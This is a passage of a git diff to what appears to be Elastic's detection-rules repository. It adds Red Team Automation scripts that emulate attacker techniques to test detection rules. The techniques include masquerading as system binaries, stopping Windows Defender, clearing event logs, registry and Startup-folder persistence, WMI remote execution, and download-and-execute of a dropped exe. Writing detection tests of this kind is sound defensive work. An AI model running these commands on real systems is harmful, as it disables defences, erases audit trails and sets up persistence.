common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/user_dir_escalation.py b/rta/user_dir_escalation.py index 0516c7199..a0c94232f 100644 --- a/rta/user_dir_escalation.py +++ b/rta/user_dir_escalation.py @@ -11,9 +11,13 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="dc734786-66bd-4be6-bd06-eb41fa7b6745", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC) def main(): # make sure path is absolute for psexec diff --git a/rta/user_mode_smb_connection.py b/rta/user_mode_smb_connection.py new file mode 100644 index 000000000..891ed451d --- /dev/null +++ b/rta/user_mode_smb_connection.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8ce1099f-26e7-45ea-a7a9-9ab0926a2c4a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Unexpected SMB Connection from User-mode Process", + "rule_id": "2fbbd139-3919-4b6b-9c50-9452b0aef005", + } + ], + siem=[], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + posh = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\posh.exe" + + # Execute command + common.copy_file(powershell, posh) + common.log("Testing connection to Portquiz at Port 445") + common.execute( + [ + posh, + "/c", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "445", + ], + timeout=10, + ) + common.remove_files(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/vaultcmd_commands.py b/rta/vaultcmd_commands.py index 7159ff57c..69aad84bb 100644 --- a/rta/vaultcmd_commands.py +++ b/rta/vaultcmd_commands.py @@ -11,9 +11,21 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="53d071d9-36e3-4b40-83c8-d818bd831010", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "be8afaed-4bcd-4e0a-b5f9-5562003dde81", "rule_name": "Searching for Saved Credentials via VaultCmd"} + ], + techniques=["T1555", "T1003"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Searching Credential Vaults via VaultCmd") diff --git a/rta/webproxy_modification.py b/rta/webproxy_modification.py new file mode 100644 index 000000000..145b7bf0a --- /dev/null +++ b/rta/webproxy_modification.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bc6130d9-f4fd-46c6-bcfe-623be6c51a3b", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "WebProxy Settings Modification", "rule_id": "10a500bb-a28f-418e-ba29-ca4c8d1a9f2f"}], + techniques=["T1539"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/networksetup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake networksetup commands to configure webproxy settings") + common.execute([masquerade, "-setwebproxy"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/webservice_lolbas.py b/rta/webservice_lolbas.py new file mode 100644 index 000000000..0bbba801e --- /dev/null +++ b/rta/webservice_lolbas.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b7a7d246-b1ef-4d08-85ce-92e1cfc18520", + platforms=["windows"], + endpoint=[ + { + "rule_name": "External IP Address Discovery via a Trusted Program", + "rule_id": "51894221-7657-4b56-9406-e080e19ad159", + }, + { + "rule_name": "Connection to WebService by a Signed Binary Proxy", + "rule_id": "c567240c-445b-4000-9612-b5531e21e050", + }, + ], + siem=[], + techniques=["T1102", "T1218", "T1016", "T1071"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Retrieving the public IP Address using ipify") + common.execute( + [powershell, "/c", "iwr", "http://api.ipify.org/", "-UseBasicParsing"], + timeout=10, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/webservice_unsigned.py b/rta/webservice_unsigned.py new file mode 100644 index 000000000..d6a025c9e --- /dev/null +++ b/rta/webservice_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="049f1e5e-99a9-4a0f-afac-b7b41b96ed12", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Connection to WebService by an Unsigned Binary", + "rule_id": "2c3efa34-fecd-4b3b-bdb6-30d547f2a1a4", + } + ], + siem=[], + techniques=["T1102", "T1071"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Using PowerShell to connect to Google Drive") + common.execute([posh, "/c", "iwr", "https://drive.google.com", "-UseBasicParsing"], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/werfault_masquerading.py b/rta/werfault_masquerading.py new file mode 100644 index 000000000..c37f52f24 --- /dev/null +++ b/rta/werfault_masquerading.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="41c82553-01c2-41d6-a15d-3499fa99b4c0", + platforms=["windows"], + endpoint=[ + {"rule_name": "Windows Error Manager/Reporting Masquerading", "rule_id": "3d16f5f9-da4c-4b15-a501-505761b75ca6"} + ], + siem=[], + techniques=["T1055", "T1036"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + werfault = "C:\\Users\\Public\\werfault.exe" + + common.copy_file(EXE_FILE, werfault) + common.log("Making connection using fake werfault.exe") + common.execute([werfault], timeout=10, kill=True) + common.remove_file(werfault) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/werfault_persistence.py b/rta/werfault_persistence.py index 499e014e1..06f729786 100644 --- a/rta/werfault_persistence.py +++ b/rta/werfault_persistence.py @@ -12,31 +12,61 @@ import time from . import common +from . import RtaMetadata MY_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="cbd90dde-02f4-4010-b654-ccabff3c3c73", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "ac5012b8-8da8-440b-aaaf-aedafdea2dff", "rule_name": "Suspicious WerFault Child Process"}], + techniques=["T1036"], +) + + +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(): reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'" reg_name = "ReflectDebugger" - commands = ["C:\\Windows\\system32\\calc.exe", - "'powershell -c calc.exe'", - MY_APP] + commands = ["C:\\Windows\\system32\\calc.exe", "'powershell -c calc.exe'", MY_APP] for command in commands: common.log("Setting WerFault reg key to {}".format(command)) - common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key, - "-Name", reg_name, "-Value", command], wait=False) + common.execute( + [ + "powershell", + "-c", + "New-ItemProperty", + "-Path", + reg_key, + "-Name", + reg_name, + "-Value", + command, + ], + wait=False, + ) time.sleep(1) common.log("Running WerFault.exe -pr 1") common.execute(["werfault", "-pr", "1"], wait=False) time.sleep(2.5) - common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name]) + common.execute( + [ + "powershell", + "-c", + "Remove-ItemProperty", + "-Path", + reg_key, + "-Name", + reg_name, + ] + ) common.log("Cleaning up") @@ -45,5 +75,5 @@ def main(): common.execute(["taskkill", "/F", "/im", "myapp.exe"]) -if __name__ == '__main__': +if __name__ == "__main__": exit(main()) diff --git a/rta/wevtutil_log_clear.py b/rta/wevtutil_log_clear.py index ac7a0662a..820258ed2 100644 --- a/rta/wevtutil_log_clear.py +++ b/rta/wevtutil_log_clear.py @@ -12,9 +12,19 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="12b28e92-281f-49a7-a8b3-54681ba6d63e", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "d331bbe2-6db4-4941-80a5-8270db72eb61", "rule_name": "Clearing Windows Event Logs"}], + techniques=["T1070"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Clearing Windows Event Logs") common.log("WARNING - About to clear logs from Windows Event Viewer", log_type="!") diff --git a/rta/windefend_svc_stop.py b/rta/windefend_svc_stop.py new file mode 100644 index 000000000..0dafb8ce4 --- /dev/null +++ b/rta/windefend_svc_stop.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="811ccfc2-d0fc-4a2a-85f6-6dc1235278bf", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Attempt to Disable Windows Defender Services", + "rule_id": "32ab2977-2932-4172-9117-36e382591818", + }, + ], + siem=[], + techniques=["T1562", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + tempshell = "C:\\Users\\Public\\powershell.exe" + common.copy_file(powershell, tempshell) + + # Execute command + common.log("Attempting to stop Windefend, which will not work unless running as SYSTEM") + common.execute([tempshell, "/c", "sc.exe stop Windefend"]) + common.remove_file(tempshell) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/windows_script_host_file_written_exec.py b/rta/windows_script_host_file_written_exec.py new file mode 100644 index 000000000..d3bd19fd8 --- /dev/null +++ b/rta/windows_script_host_file_written_exec.py @@ -0,0 +1,52 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6ffcba60-acde-46e2-994a-a79ec8e07ef3", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Execution of a File Written by Windows Script Host", + "rule_id": "49e47c2a-307f-4591-939a-dfdae6e5156c", + }, + { + "rule_name": "Suspicious Windows Script Interpreter Child Process", + "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", + }, + ], + siem=[], + techniques=["T1055", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + cscript = "C:\\Users\\Public\\cscript.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, cscript) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake cscript to drop and execute an .exe") + common.execute([cscript, "/c", cmd], timeout=10) + common.execute([cscript, "/c", dropped], timeout=10, kill=True) + common.remove_file(cscript) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/winrar_encrypted.py b/rta/winrar_encrypted.py index 4908dc9b2..18669ded0 100644 --- a/rta/winrar_encrypted.py +++ b/rta/winrar_encrypted.py @@ -13,6 +13,17 @@ import os import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6d2d3c21-2d71-4395-8ab7-b1d0138d9225", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "45d273fb-1dca-457d-9855-bcb302180c21", "rule_name": "Encrypting Files with WinRar or 7z"}], + techniques=["T1560"], +) + MY_APP = common.get_path("bin", "myapp.exe") WINRAR = common.get_path("bin", "Rar.exe") @@ -20,12 +31,12 @@ WINRAR = common.get_path("bin", "Rar.exe") def create_exfil(path=os.path.abspath("secret_stuff.txt")): common.log("Writing dummy exfil to %s" % path) - with open(path, 'wb') as f: + with open(path, "wb") as f: f.write(base64.b64encode(b"This is really secret stuff" * 100)) return path -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP, WINRAR) def main(password="s0l33t"): # Copies of the rar.exe for various tests diff --git a/rta/winrar_startup_folder.py b/rta/winrar_startup_folder.py index 3e60a5a4a..9896a0a00 100644 --- a/rta/winrar_startup_folder.py +++ b/rta/winrar_startup_folder.py @@ -11,18 +11,25 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="6d2d3c21-2d71-4395-8ab7-b1d0138d9225", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("WinRAR StartUp Folder Persistence") - win_rar_path = os.path.abspath('WinRAR.exe') - ace_loader_path = os.path.abspath('Ace32Loader.exe') - batch_file_path = '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat' - startup_path = os.environ['USERPROFILE'] + batch_file_path + win_rar_path = os.path.abspath("WinRAR.exe") + ace_loader_path = os.path.abspath("Ace32Loader.exe") + batch_file_path = "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat" + startup_path = os.environ["USERPROFILE"] + batch_file_path common.copy_file("C:\\Windows\\System32\\cmd.exe", win_rar_path) common.copy_file("C:\\Windows\\System32\\cmd.exe", ace_loader_path) - common.execute([win_rar_path, '/c', ace_loader_path, '/c', 'echo', 'test', '^>', startup_path], kill=True) + common.execute( + [win_rar_path, "/c", ace_loader_path, "/c", "echo", "test", "^>", startup_path], + kill=True, + ) common.remove_file(startup_path) common.remove_file(ace_loader_path) common.remove_file(win_rar_path) diff --git a/rta/wmi_incoming_logon.py b/rta/wmi_incoming_logon.py index d9db0f8e4..5175a8d1c 100644 --- a/rta/wmi_incoming_logon.py +++ b/rta/wmi_incoming_logon.py @@ -11,29 +11,39 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="3adf005f-94b8-4b34-8994-d5a3dc6666c2", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f3475224-b179-4f78-8877-c2bd64c26b88", "rule_name": "WMI Incoming Lateral Movement"}], + techniques=["T1047"], +) + + +@common.requires_os(metadata.platforms) def main(remote_host=None): if not remote_host: - common.log('A remote host is required to detonate this RTA', '!') + common.log("A remote host is required to detonate this RTA", "!") return common.MISSING_REMOTE_HOST common.enable_logon_auditing(remote_host) - common.log('Attempting to trigger a remote logon on {}'.format(remote_host)) + common.log("Attempting to trigger a remote logon on {}".format(remote_host)) commands = [ - 'Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}'.format(remote_host, c) - for c in ('ipconfig', 'netstat') + "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}".format(remote_host, c) + for c in ("ipconfig", "netstat") ] # trigger twice for command in commands: - common.execute(['powershell', '-c', command]) + common.execute(["powershell", "-c", command]) # this should not trigger an alert - common.execute(['net.exe', 'time', '\\\\{}'.format(remote_host)]) + common.execute(["net.exe", "time", "\\\\{}".format(remote_host)]) if __name__ == "__main__": diff --git a/rta/wmic_xsl_exec.py b/rta/wmic_xsl_exec.py new file mode 100644 index 000000000..dc1235c80 --- /dev/null +++ b/rta/wmic_xsl_exec.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b9d5427a-33c4-4b1d-838d-f47c5f3b0b43", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Suspicious WMIC XSL Script Execution", "rule_id": "18371ec4-ee2f-465b-8757-ee726914006c"}, + ], + siem=[], + techniques=["T1220", "T1047", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + wmic = "C:\\Users\\Public\\wmic.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\jscript.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(EXE_FILE, wmic) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + + common.log("Loading jscript.dll into fake wmic") + common.execute( + [wmic, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}; echo /format:"], + timeout=10, + ) + + common.remove_files(wmic, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/wuauclt_image_load.py b/rta/wuauclt_image_load.py new file mode 100644 index 000000000..9d16216d6 --- /dev/null +++ b/rta/wuauclt_image_load.py @@ -0,0 +1,62 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="42eed432-af05-45d3-b788-7e3220f81f9a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious ImageLoad via Windows Update Auto Update Client", + "rule_id": "3788c03d-28a5-4466-b157-d6dd4dc449bb", + } + ], + siem=[], + techniques=["T1218"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + wuauclt = "C:\\Users\\Public\\wuauclt.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\unsigned.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, wuauclt) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Modify the originalfilename to invalidate the code sig + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.exe"]) + + common.log("Loading unsigned.dll into fake wuauclt") + common.execute( + [ + wuauclt, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll}", + ";echo", + "/RunHandlerComServer", + ";echo", + "/UpdateDeploymentProvider", + ], + timeout=10, + ) + + common.remove_files(wuauclt, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/tests/test_all_rules.py b/tests/test_all_rules.py index d22ae481f..050ff4d93 100644 --- a/tests/test_all_rules.py +++ b/tests/test_all_rules.py @@ -21,7 +21,7 @@ from detection_rules.schemas import definitions from detection_rules.semver import Version from detection_rules.utils import get_path, load_etc_dump from detection_rules.version_lock import default_version_lock -from rta import get_ttp_names +from rta import get_available_tests from .base import BaseRuleTest @@ -59,7 +59,7 @@ class TestValidRules(BaseRuleTest): def test_production_rules_have_rta(self): """Ensure that all production rules have RTAs.""" mappings = load_etc_dump('rule-mapping.yml') - ttp_names = get_ttp_names() + ttp_names = sorted(get_available_tests()) for rule in self.production_rules: if isinstance(rule.contents.data, QueryRuleData) and rule.id in mappings: diff --git a/tests/test_mappings.py b/tests/test_mappings.py index 5e441c539..77a1b05ba 100644 --- a/tests/test_mappings.py +++ b/tests/test_mappings.py @@ -5,10 +5,12 @@ """Test that all rules appropriately match against expected data sets.""" import copy +import unittest import warnings from . import get_data_files, get_fp_data_files from detection_rules.utils import combine_sources, evaluate, load_etc_dump +from rta import get_available_tests from .base import BaseRuleTest @@ -66,3 +68,19 @@ class TestMappings(BaseRuleTest): for fp_name, merged_data in get_fp_data_files().items(): msg = 'Unexpected FP match for: {} - {}, against: {}'.format(rule.id, rule.name, fp_name) self.evaluate(copy.deepcopy(merged_data), rule, 0, msg) + + +class TestRTAs(unittest.TestCase): + """Test that all RTAs have appropriate fields added.""" + + def test_rtas_with_triggered_rules_have_uuid(self): + """Ensure that all RTAs with triggered rules have a UUID.""" + + rule_keys = ["rule_id", "rule_name"] + for rta_test in sorted(get_available_tests().values(), key=lambda r: r['name']): + + self.assertIsNotNone(rta_test.get("uuid"), f'RTA {rta_test.get("name")} missing uuid') + for rule_info in rta_test.get("siem"): + for rule_key in rule_keys: + self.assertIsNotNone(rule_info.get(rule_key), + f'RTA {rta_test.get("name")} - {rta_test.get("uuid")} missing {rule_key}')